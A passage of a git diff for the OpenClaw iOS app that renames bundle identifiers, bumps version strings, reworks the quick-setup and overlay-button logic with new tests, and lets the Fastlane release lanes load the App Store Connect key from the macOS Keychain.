ai.openclaw.ios.test.mariano.watchkitapp -OPENCLAW_WATCH_EXTENSION_BUNDLE_ID = ai.openclaw.ios.test.mariano.watchkitapp.extension +OPENCLAW_APP_BUNDLE_ID = ai.openclaw.client +OPENCLAW_SHARE_BUNDLE_ID = ai.openclaw.client.share +OPENCLAW_ACTIVITY_WIDGET_BUNDLE_ID = ai.openclaw.client.activitywidget +OPENCLAW_WATCH_APP_BUNDLE_ID = ai.openclaw.client.watchkitapp +OPENCLAW_WATCH_EXTENSION_BUNDLE_ID = ai.openclaw.client.watchkitapp.extension // Leave empty with automatic signing. OPENCLAW_APP_PROFILE = diff --git a/apps/ios/ShareExtension/Info.plist b/apps/ios/ShareExtension/Info.plist index 6e1113cf205..dbf921457a7 100644 --- a/apps/ios/ShareExtension/Info.plist +++ b/apps/ios/ShareExtension/Info.plist @@ -17,9 +17,9 @@ CFBundlePackageType XPC! CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 20260301 + 20260307 NSExtension NSExtensionAttributes diff --git a/apps/ios/Signing.xcconfig b/apps/ios/Signing.xcconfig index f942fc0224f..5966d6e2c2f 100644 --- a/apps/ios/Signing.xcconfig +++ b/apps/ios/Signing.xcconfig @@ -5,11 +5,14 @@ OPENCLAW_CODE_SIGN_STYLE = Manual OPENCLAW_DEVELOPMENT_TEAM = Y5PE65HELJ -OPENCLAW_APP_BUNDLE_ID = ai.openclaw.ios -OPENCLAW_SHARE_BUNDLE_ID = ai.openclaw.ios.share +OPENCLAW_APP_BUNDLE_ID = ai.openclaw.client +OPENCLAW_SHARE_BUNDLE_ID = ai.openclaw.client.share +OPENCLAW_WATCH_APP_BUNDLE_ID = ai.openclaw.client.watchkitapp +OPENCLAW_WATCH_EXTENSION_BUNDLE_ID = ai.openclaw.client.watchkitapp.extension +OPENCLAW_ACTIVITY_WIDGET_BUNDLE_ID = ai.openclaw.client.activitywidget -OPENCLAW_APP_PROFILE = ai.openclaw.ios Development -OPENCLAW_SHARE_PROFILE = ai.openclaw.ios.share Development +OPENCLAW_APP_PROFILE = ai.openclaw.client Development +OPENCLAW_SHARE_PROFILE = ai.openclaw.client.share Development // Keep local includes after defaults: xcconfig is evaluated top-to-bottom, // so later assignments in local files override the defaults above. diff --git a/apps/ios/Sources/Gateway/GatewaySettingsStore.swift b/apps/ios/Sources/Gateway/GatewaySettingsStore.swift index e467659a451..37c039d69d1 100644 --- a/apps/ios/Sources/Gateway/GatewaySettingsStore.swift +++ b/apps/ios/Sources/Gateway/GatewaySettingsStore.swift @@ -26,7 +26,7 @@ enum GatewaySettingsStore { private static let preferredGatewayStableIDAccount = "preferredStableID" private static let lastDiscoveredGatewayStableIDAccount = "lastDiscoveredStableID" private static let lastGatewayConnectionAccount = "lastConnection" - private static let talkProviderApiKeyAccountPrefix = "provider.apiKey." + private static let talkProviderApiKeyAccountPrefix = "provider.apiKey." // pragma: allowlist secret static func bootstrapPersistence() { self.ensureStableInstanceID() @@ -412,11 +412,11 @@ enum GatewayDiagnostics { private static let keepLogBytes: Int64 = 256 * 1024 private static let logSizeCheckEveryWrites = 50 private static let logWritesSinceCheck = OSAllocatedUnfairLock(initialState: 0) - private static let isoFormatter: ISO8601DateFormatter = { - let f = ISO8601DateFormatter() - f.formatOptions = [.withInternetDateTime, .withFractionalSeconds] - return f - }() + private static func isoTimestamp() -> String { + let formatter = ISO8601DateFormatter() + formatter.formatOptions = [.withInternetDateTime, .withFractionalSeconds] + return formatter.string(from: Date()) + } private static var fileURL: URL? { FileManager.default.urls(for: .cachesDirectory, in: .userDomainMask).first? @@ -476,7 +476,7 @@ enum GatewayDiagnostics { guard let url = fileURL else { return } queue.async { self.truncateLogIfNeeded(url: url) - let timestamp = self.isoFormatter.string(from: Date()) + let timestamp = self.isoTimestamp() let line = "[\(timestamp)] gateway diagnostics started\n" if let data = line.data(using: .utf8) { self.appendToLog(url: url, data: data) @@ -486,7 +486,7 @@ enum GatewayDiagnostics { } static func log(_ message: String) { - let timestamp = self.isoFormatter.string(from: Date()) + let timestamp = self.isoTimestamp() let line = "[\(timestamp)] \(message)" logger.info("\(line, privacy: .public)") diff --git a/apps/ios/Sources/Info.plist b/apps/ios/Sources/Info.plist index b4d6ed3109a..ea65f194a8d 100644 --- a/apps/ios/Sources/Info.plist +++ b/apps/ios/Sources/Info.plist @@ -2,6 +2,10 @@ + BGTaskSchedulerPermittedIdentifiers + + ai.openclaw.ios.bgrefresh + CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleDisplayName @@ -19,7 +23,7 @@ CFBundlePackageType APPL CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleURLTypes @@ -32,7 +36,9 @@ CFBundleVersion - 20260301 + 20260307 + ITSAppUsesNonExemptEncryption + NSAppTransportSecurity NSAllowsArbitraryLoadsInWebContent @@ -52,6 +58,10 @@ OpenClaw uses your location when you allow location sharing. NSMicrophoneUsageDescription OpenClaw needs microphone access for voice wake. + NSMotionUsageDescription + OpenClaw may use motion data to support device-aware interactions and automations. + NSPhotoLibraryUsageDescription + OpenClaw needs photo library access when you choose existing photos to share with your assistant. NSSpeechRecognitionUsageDescription OpenClaw uses on-device speech recognition for voice wake. NSSupportsLiveActivities @@ -66,10 +76,6 @@ audio remote-notification - BGTaskSchedulerPermittedIdentifiers - - ai.openclaw.ios.bgrefresh - UILaunchScreen UISupportedInterfaceOrientations diff --git a/apps/ios/Sources/RootCanvas.swift b/apps/ios/Sources/RootCanvas.swift index 3fc62d7e859..1eb8459a642 100644 --- a/apps/ios/Sources/RootCanvas.swift +++ b/apps/ios/Sources/RootCanvas.swift @@ -66,6 +66,23 @@ struct RootCanvas: View { return .none } + static func shouldPresentQuickSetup( + quickSetupDismissed: Bool, + showOnboarding: Bool, + hasPresentedSheet: Bool, + gatewayConnected: Bool, + hasExistingGatewayConfig: Bool, + discoveredGatewayCount: Int) -> Bool + { + guard !quickSetupDismissed else { return false } + guard !showOnboarding else { return false } + guard !hasPresentedSheet else { return false } + guard !gatewayConnected else { return false } + // If a gateway target is already configured (manual or last-known), skip quick setup. + guard !hasExistingGatewayConfig else { return false } + return discoveredGatewayCount > 0 + } + var body: some View { ZStack { CanvasContent( @@ -220,7 +237,12 @@ struct RootCanvas: View { } private func hasExistingGatewayConfig() -> Bool { + if self.appModel.activeGatewayConnectConfig != nil { return true } if GatewaySettingsStore.loadLastGatewayConnection() != nil { return true } + + let preferredStableID = self.preferredGatewayStableID.trimmingCharacters(in: .whitespacesAndNewlines) + if !preferredStableID.isEmpty { return true } + let manualHost = self.manualGatewayHost.trimmingCharacters(in: .whitespacesAndNewlines) return self.manualGatewayEnabled && !manualHost.isEmpty } @@ -240,11 +262,14 @@ struct RootCanvas: View { } private func maybeShowQuickSetup() { - guard !self.quickSetupDismissed else { return } - guard !self.showOnboarding else { return } - guard self.presentedSheet == nil else { return } - guard self.appModel.gatewayServerName == nil else { return } - guard !self.gatewayController.gateways.isEmpty else { return } + let shouldPresent = Self.shouldPresentQuickSetup( + quickSetupDismissed: self.quickSetupDismissed, + showOnboarding: self.showOnboarding, + hasPresentedSheet: self.presentedSheet != nil, + gatewayConnected: self.appModel.gatewayServerName != nil, + hasExistingGatewayConfig: self.hasExistingGatewayConfig(), + discoveredGatewayCount: self.gatewayController.gateways.count) + guard shouldPresent else { return } self.presentedSheet = .quickSetup } } @@ -264,61 +289,65 @@ private struct CanvasContent: View { var openSettings: () -> Void private var brightenButtons: Bool { self.systemColorScheme == .light } + private var talkActive: Bool { self.appModel.talkMode.isEnabled || self.talkEnabled } var body: some View { - ZStack(alignment: .topTrailing) { + ZStack { ScreenTab() - - VStack(spacing: 10) { - OverlayButton(systemImage: "text.bubble.fill", brighten: self.brightenButtons) { - self.openChat() - } - .accessibilityLabel("Chat") - - if self.talkButtonEnabled { - // Talk mode lives on a side bubble so it doesn't get buried in settings. - OverlayButton( - systemImage: self.appModel.talkMode.isEnabled ? "waveform.circle.fill" : "waveform.circle", - brighten: self.brightenButtons, - tint: self.appModel.seamColor, - isActive: self.appModel.talkMode.isEnabled) - { - let next = !self.appModel.talkMode.isEnabled - self.talkEnabled = next - self.appModel.setTalkEnabled(next) - } - .accessibilityLabel("Talk Mode") - } - - OverlayButton(systemImage: "gearshape.fill", brighten: self.brightenButtons) { - self.openSettings() - } - .accessibilityLabel("Settings") - } - .padding(.top, 10) - .padding(.trailing, 10) } .overlay(alignment: .center) { - if self.appModel.talkMode.isEnabled { + if self.talkActive { TalkOrbOverlay() .transition(.opacity) } } .overlay(alignment: .topLeading) { - StatusPill( - gateway: self.gatewayStatus, - voiceWakeEnabled: self.voiceWakeEnabled, - activity: self.statusActivity, - brighten: self.brightenButtons, - onTap: { - if self.gatewayStatus == .connected { - self.showGatewayActions = true - } else { + HStack(alignment: .top, spacing: 8) { + StatusPill( + gateway: self.gatewayStatus, + voiceWakeEnabled: self.voiceWakeEnabled, + activity: self.statusActivity, + brighten: self.brightenButtons, + onTap: { + if self.gatewayStatus == .connected { + self.showGatewayActions = true + } else { + self.openSettings() + } + }) + .layoutPriority(1) + + Spacer(minLength: 8) + + HStack(spacing: 8) { + OverlayButton(systemImage: "text.bubble.fill", brighten: self.brightenButtons) { + self.openChat() + } + .accessibilityLabel("Chat") + + if self.talkButtonEnabled { + // Keep Talk mode near status controls while freeing right-side screen real estate. + OverlayButton( + systemImage: self.talkActive ? "waveform.circle.fill" : "waveform.circle", + brighten: self.brightenButtons, + tint: self.appModel.seamColor, + isActive: self.talkActive) + { + let next = !self.talkActive + self.talkEnabled = next + self.appModel.setTalkEnabled(next) + } + .accessibilityLabel("Talk Mode") + } + + OverlayButton(systemImage: "gearshape.fill", brighten: self.brightenButtons) { self.openSettings() } - }) - .padding(.leading, 10) - .safeAreaPadding(.top, 10) + .accessibilityLabel("Settings") + } + } + .padding(.horizontal, 10) + .safeAreaPadding(.top, 10) } .overlay(alignment: .topLeading) { if let voiceWakeToastText, !voiceWakeToastText.isEmpty { @@ -334,6 +363,12 @@ private struct CanvasContent: View { isPresented: self.$showGatewayActions, onDisconnect: { self.appModel.disconnectGateway() }, onOpenSettings: { self.openSettings() }) + .onAppear { + // Keep the runtime talk state aligned with persisted toggle state on cold launch. + if self.talkEnabled != self.appModel.talkMode.isEnabled { + self.appModel.setTalkEnabled(self.talkEnabled) + } + } } private var statusActivity: StatusPill.Activity? { diff --git a/apps/ios/Tests/Info.plist b/apps/ios/Tests/Info.plist index 51f99d987c4..0840e60efb0 100644 --- a/apps/ios/Tests/Info.plist +++ b/apps/ios/Tests/Info.plist @@ -15,10 +15,10 @@ CFBundleName $(PRODUCT_NAME) CFBundlePackageType - BNDL - CFBundleShortVersionString - 2026.3.2 - CFBundleVersion - 20260301 - - + BNDL + CFBundleShortVersionString + 2026.3.7 + CFBundleVersion + 20260307 + + diff --git a/apps/ios/Tests/RootCanvasPresentationTests.swift b/apps/ios/Tests/RootCanvasPresentationTests.swift new file mode 100644 index 00000000000..cbf2291e936 --- /dev/null +++ b/apps/ios/Tests/RootCanvasPresentationTests.swift @@ -0,0 +1,40 @@ +import Testing +@testable import OpenClaw + +@Suite struct RootCanvasPresentationTests { + @Test func quickSetupDoesNotPresentWhenGatewayAlreadyConfigured() { + let shouldPresent = RootCanvas.shouldPresentQuickSetup( + quickSetupDismissed: false, + showOnboarding: false, + hasPresentedSheet: false, + gatewayConnected: false, + hasExistingGatewayConfig: true, + discoveredGatewayCount: 1) + + #expect(!shouldPresent) + } + + @Test func quickSetupPresentsForFreshInstallWithDiscoveredGateway() { + let shouldPresent = RootCanvas.shouldPresentQuickSetup( + quickSetupDismissed: false, + showOnboarding: false, + hasPresentedSheet: false, + gatewayConnected: false, + hasExistingGatewayConfig: false, + discoveredGatewayCount: 1) + + #expect(shouldPresent) + } + + @Test func quickSetupDoesNotPresentWhenAlreadyConnected() { + let shouldPresent = RootCanvas.shouldPresentQuickSetup( + quickSetupDismissed: false, + showOnboarding: false, + hasPresentedSheet: false, + gatewayConnected: true, + hasExistingGatewayConfig: false, + discoveredGatewayCount: 1) + + #expect(!shouldPresent) + } +} diff --git a/apps/ios/Tests/TalkModeConfigParsingTests.swift b/apps/ios/Tests/TalkModeConfigParsingTests.swift index a09f095a233..dc4a29548e0 100644 --- a/apps/ios/Tests/TalkModeConfigParsingTests.swift +++ b/apps/ios/Tests/TalkModeConfigParsingTests.swift @@ -23,7 +23,7 @@ import Testing @Test func ignoresLegacyTalkFieldsWhenNormalizedPayloadMissing() { let talk: [String: Any] = [ "voiceId": "voice-legacy", - "apiKey": "legacy-key", + "apiKey": "legacy-key", // pragma: allowlist secret ] let selection = TalkModeManager.selectTalkProviderConfig(talk) diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-38@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-38@2x.png index 82829afb947..fa192bff24d 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-38@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-38@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-40@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-40@2x.png index 114d4606420..7f7774e81df 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-40@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-40@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-41@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-41@2x.png index 5f9578b1b97..96da7b53503 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-41@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-41@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-44@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-44@2x.png index fe022ac7720..7fc6b49eebf 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-44@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-44@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-45@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-45@2x.png index 55977b8f6e7..3594312a6a0 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-45@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-45@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@2x.png index f8be7d06911..be6c01e95d3 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@3x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@3x.png index cce412d2452..5101bebfd3b 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@3x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-companion-29@3x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-marketing-1024.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-marketing-1024.png index 005486f2ee1..420828f1d80 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-marketing-1024.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-marketing-1024.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-38@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-38@2x.png index 7b7a0ee0b65..53e410a4422 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-38@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-38@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-42@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-42@2x.png index f13c9cdddda..3d4e3642a75 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-42@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-42@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-38@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-38@2x.png index aac0859b44c..83df80e34d8 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-38@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-38@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-42@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-42@2x.png index d09be6e98a6..37e1a554ea7 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-42@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-42@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-44@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-44@2x.png index 5b06a48744b..7c036f86624 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-44@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-44@2x.png differ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-45@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-45@2x.png index 72ba51ebb1d..9a37688f0c1 100644 Binary files a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-45@2x.png and b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-45@2x.png differ diff --git a/apps/ios/WatchApp/Info.plist b/apps/ios/WatchApp/Info.plist index c0041b2a11d..34d82764495 100644 --- a/apps/ios/WatchApp/Info.plist +++ b/apps/ios/WatchApp/Info.plist @@ -17,9 +17,9 @@ CFBundlePackageType APPL CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 20260301 + 20260307 WKCompanionAppBundleIdentifier $(OPENCLAW_APP_BUNDLE_ID) WKWatchKitApp diff --git a/apps/ios/WatchExtension/Info.plist b/apps/ios/WatchExtension/Info.plist index 45029fa7569..b3df595faeb 100644 --- a/apps/ios/WatchExtension/Info.plist +++ b/apps/ios/WatchExtension/Info.plist @@ -15,9 +15,9 @@ CFBundleName $(PRODUCT_NAME) CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 20260301 + 20260307 NSExtension NSExtensionAttributes diff --git a/apps/ios/fastlane/Appfile b/apps/ios/fastlane/Appfile index 8dbb75a8c26..b0374fbd716 100644 --- a/apps/ios/fastlane/Appfile +++ b/apps/ios/fastlane/Appfile @@ -1,7 +1,15 @@ -app_identifier("ai.openclaw.ios") +app_identifier("ai.openclaw.client") # Auth is expected via App Store Connect API key. # Provide either: # - APP_STORE_CONNECT_API_KEY_PATH=/path/to/AuthKey_XXXXXX.p8.json (recommended) # or: +# - ASC_KEY_PATH=/path/to/AuthKey_XXXXXX.p8 with ASC_KEY_ID and ASC_ISSUER_ID # - ASC_KEY_ID, ASC_ISSUER_ID, and ASC_KEY_CONTENT (base64 or raw p8 content) +# - ASC_KEY_ID and ASC_ISSUER_ID plus Keychain fallback: +# ASC_KEYCHAIN_SERVICE (default: openclaw-asc-key) +# ASC_KEYCHAIN_ACCOUNT (default: USER/LOGNAME) +# +# Optional deliver app lookup overrides: +# - ASC_APP_IDENTIFIER (bundle ID) +# - ASC_APP_ID (numeric App Store Connect app ID) diff --git a/apps/ios/fastlane/Fastfile b/apps/ios/fastlane/Fastfile index f1dbf6df18c..33e6bfa8adb 100644 --- a/apps/ios/fastlane/Fastfile +++ b/apps/ios/fastlane/Fastfile @@ -1,4 +1,5 @@ require "shellwords" +require "open3" default_platform(:ios) @@ -16,33 +17,106 @@ def load_env_file(path) end end +def env_present?(value) + !value.nil? && !value.strip.empty? +end + +def clear_empty_env_var(key) + return unless ENV.key?(key) + ENV.delete(key) unless env_present?(ENV[key]) +end + +def maybe_decode_hex_keychain_secret(value) + return value unless env_present?(value) + + candidate = value.strip + return candidate unless candidate.match?(/\A[0-9a-fA-F]+\z/) && candidate.length.even? + + begin + decoded = [candidate].pack("H*") + return candidate unless decoded.valid_encoding? + + # `security find-generic-password -w` can return hex when the stored secret + # includes newlines/non-printable bytes (like PEM files). + beginPemMarker = %w[BEGIN PRIVATE KEY].join(" ") # pragma: allowlist secret + endPemMarker = %w[END PRIVATE KEY].join(" ") + if decoded.include?(beginPemMarker) || decoded.include?(endPemMarker) + UI.message("Decoded hex-encoded ASC key content from Keychain.") + return decoded + end + rescue StandardError + return candidate + end + + candidate +end + +def read_asc_key_content_from_keychain + service = ENV["ASC_KEYCHAIN_SERVICE"] + service = "openclaw-asc-key" unless env_present?(service) + + account = ENV["ASC_KEYCHAIN_ACCOUNT"] + account = ENV["USER"] unless env_present?(account) + account = ENV["LOGNAME"] unless env_present?(account) + return nil unless env_present?(account) + + begin + stdout, _stderr, status = Open3.capture3( + "security", + "find-generic-password", + "-s", + service, + "-a", + account, + "-w" + ) + + return nil unless status.success? + + key_content = stdout.to_s.strip + key_content = maybe_decode_hex_keychain_secret(key_content) + return nil unless env_present?(key_content) + + UI.message("Loaded ASC key content from Keychain service '#{service}' (account '#{account}').") + key_content + rescue Errno::ENOENT + nil + end +end + platform :ios do private_lane :asc_api_key do load_env_file(File.join(__dir__, ".env")) + clear_empty_env_var("APP_STORE_CONNECT_API_KEY_PATH") + clear_empty_env_var("ASC_KEY_PATH") + clear_empty_env_var("ASC_KEY_CONTENT") api_key = nil key_path = ENV["APP_STORE_CONNECT_API_KEY_PATH"] - if key_path && !key_path.strip.empty? + if env_present?(key_path) api_key = app_store_connect_api_key(path: key_path) else p8_path = ENV["ASC_KEY_PATH"] - if p8_path && !p8_path.strip.empty? - key_id = ENV["ASC_KEY_ID"] - issuer_id = ENV["ASC_ISSUER_ID"] - UI.user_error!("Missing ASC_KEY_ID or ASC_ISSUER_ID for ASC_KEY_PATH auth.") if [key_id, issuer_id].any? { |v| v.nil? || v.strip.empty? } + if env_present?(p8_path) + key_id = ENV["ASC_KEY_ID"] + issuer_id = ENV["ASC_ISSUER_ID"] + UI.user_error!("Missing ASC_KEY_ID or ASC_ISSUER_ID for ASC_KEY_PATH auth.") if [key_id, issuer_id].any? { |v| !env_present?(v) } api_key = app_store_connect_api_key( - key_id: key_id, - issuer_id: issuer_id, - key_filepath: p8_path - ) + key_id: key_id, + issuer_id: issuer_id, + key_filepath: p8_path + ) else key_id = ENV["ASC_KEY_ID"] issuer_id = ENV["ASC_ISSUER_ID"] key_content = ENV["ASC_KEY_CONTENT"] + key_content = read_asc_key_content_from_keychain unless env_present?(key_content) - UI.user_error!("Missing App Store Connect API key. Set APP_STORE_CONNECT_API_KEY_PATH (json) or ASC_KEY_PATH (p8) or ASC_KEY_ID/ASC_ISSUER_ID/ASC_KEY_CONTENT.") if [key_id, issuer_id, key_content].any? { |v| v.nil? || v.strip.empty? } + UI.user_error!( + "Missing App Store Connect API key. Set APP_STORE_CONNECT_API_KEY_PATH (json), ASC_KEY_PATH (p8), or ASC_KEY_ID/ASC_ISSUER_ID with ASC_KEY_CONTENT (or Keychain via ASC_KEYCHAIN_SERVICE/ASC_KEYCHAIN_ACCOUNT)." + ) if [key_id, issuer_id, key_content].any? { |v| !env_present?(v) } is_base64 = key_content.include?("BEGIN PRIVATE KEY") ? false : true @@ -64,7 +138,7 @@ platform :ios do team_id = ENV["IOS_DEVELOPMENT_TEAM"] if team_id.nil? || team_id.strip.empty? - helper_path = File.expand_path("../../scripts/ios-team-id.sh", __dir__) + helper_path = File.expand_path("../../../scripts/ios-team-id.sh", __dir__) if File.exist?(helper_path) # Keep CI/local compatibility where teams are present in keychain but not Xcode account metadata. team_id = sh("IOS_ALLOW_KEYCHAIN_TEAM_FALLBACK=1 bash #{helper_path.shellescape}").strip @@ -77,6 +151,7 @@ platform :ios do scheme: "OpenClaw", export_method: "app-store", clean: true, + skip_profile_detection: true, xcargs: "DEVELOPMENT_TEAM=#{team_id} -allowProvisioningUpdates", export_xcargs: "-allowProvisioningUpdates", export_options: { @@ -86,19 +161,40 @@ platform :ios do upload_to_testflight( api_key: api_key, - skip_waiting_for_build_processing: true + skip_waiting_for_build_processing: true, + uses_non_exempt_encryption: false ) end desc "Upload App Store metadata (and optionally screenshots)" lane :metadata do api_key = asc_api_key + clear_empty_env_var("APP_STORE_CONNECT_API_KEY_PATH") + app_identifier = ENV["ASC_APP_IDENTIFIER"] + app_id = ENV["ASC_APP_ID"] + app_identifier = nil unless env_present?(app_identifier) + app_id = nil unless env_present?(app_id) - deliver( + deliver_options = { api_key: api_key, force: true, skip_screenshots: ENV["DELIVER_SCREENSHOTS"] != "1", - skip_metadata: ENV["DELIVER_METADATA"] != "1" - ) + skip_metadata: ENV["DELIVER_METADATA"] != "1", + run_precheck_before_submit: false + } + deliver_options[:app_identifier] = app_identifier if app_identifier + if app_id && app_identifier.nil? + # `deliver` prefers app_identifier from Appfile unless explicitly blanked. + deliver_options[:app_identifier] = "" + deliver_options[:app] = app_id + end + + deliver(**deliver_options) + end + + desc "Validate App Store Connect API auth" + lane :auth_check do + asc_api_key + UI.success("App Store Connect API auth loaded successfully.") end end diff --git a/apps/ios/fastlane/SETUP.md b/apps/ios/fastlane/SETUP.md index 930258fcc79..8dccf264b41 100644 --- a/apps/ios/fastlane/SETUP.md +++ b/apps/ios/fastlane/SETUP.md @@ -11,18 +11,54 @@ Create an App Store Connect API key: - App Store Connect → Users and Access → Keys → App Store Connect API → Generate API Key - Download the `.p8`, note the **Issuer ID** and **Key ID** -Create `apps/ios/fastlane/.env` (gitignored): +Recommended (macOS): store the private key in Keychain and write non-secret vars: + +```bash +scripts/ios-asc-keychain-setup.sh \ + --key-path /absolute/path/to/AuthKey_XXXXXXXXXX.p8 \ + --issuer-id YOUR_ISSUER_ID \ + --write-env +``` + +This writes these auth variables in `apps/ios/fastlane/.env`: + +```bash +ASC_KEY_ID=YOUR_KEY_ID +ASC_ISSUER_ID=YOUR_ISSUER_ID +ASC_KEYCHAIN_SERVICE=openclaw-asc-key +ASC_KEYCHAIN_ACCOUNT=YOUR_MAC_USERNAME +``` + +Optional app targeting variables (helpful if Fastlane cannot auto-resolve app by bundle): + +```bash +ASC_APP_IDENTIFIER=ai.openclaw.ios +# or +ASC_APP_ID=6760218713 +``` + +File-based fallback (CI/non-macOS): ```bash ASC_KEY_ID=YOUR_KEY_ID ASC_ISSUER_ID=YOUR_ISSUER_ID ASC_KEY_PATH=/absolute/path/to/AuthKey_XXXXXXXXXX.p8 +``` -# Code signing (Apple Team ID / App ID Prefix) +Code signing variable (optional in `.env`): + +```bash IOS_DEVELOPMENT_TEAM=YOUR_TEAM_ID ``` -Tip: run `scripts/ios-team-id.sh` from the repo root to print a Team ID to paste into `.env`. The helper prefers the canonical OpenClaw team (`Y5PE65HELJ`) when present locally; otherwise it prefers the first non-personal team from your Xcode account (then personal team if needed). Fastlane uses this helper automatically if `IOS_DEVELOPMENT_TEAM` is missing. +Tip: run `scripts/ios-team-id.sh` from repo root to print a Team ID for `.env`. The helper prefers the canonical OpenClaw team (`Y5PE65HELJ`) when present locally; otherwise it prefers the first non-personal team from your Xcode account (then personal team if needed). Fastlane uses this helper automatically if `IOS_DEVELOPMENT_TEAM` is missing. + +Validate auth: + +```bash +cd apps/ios +fastlane ios auth_check +``` Run: diff --git a/apps/ios/fastlane/metadata/README.md b/apps/ios/fastlane/metadata/README.md new file mode 100644 index 00000000000..74eb7df87d3 --- /dev/null +++ b/apps/ios/fastlane/metadata/README.md @@ -0,0 +1,47 @@ +# App Store metadata (Fastlane deliver) + +This directory is used by `fastlane deliver` for App Store Connect text metadata. + +## Upload metadata only + +```bash +cd apps/ios +ASC_APP_ID=6760218713 \ +DELIVER_METADATA=1 fastlane ios metadata +``` + +## Optional: include screenshots + +```bash +cd apps/ios +DELIVER_METADATA=1 DELIVER_SCREENSHOTS=1 fastlane ios metadata +``` + +## Auth + +The `ios metadata` lane uses App Store Connect API key auth from `apps/ios/fastlane/.env`: + +- Keychain-backed (recommended on macOS): + - `ASC_KEY_ID` + - `ASC_ISSUER_ID` + - `ASC_KEYCHAIN_SERVICE` (default: `openclaw-asc-key`) + - `ASC_KEYCHAIN_ACCOUNT` (default: current user) +- File/path fallback: + - `ASC_KEY_ID` + - `ASC_ISSUER_ID` + - `ASC_KEY_PATH` + +Or set `APP_STORE_CONNECT_API_KEY_PATH`. + +## Notes + +- Locale files live under `metadata/en-US/`. +- `privacy_url.txt` is set to 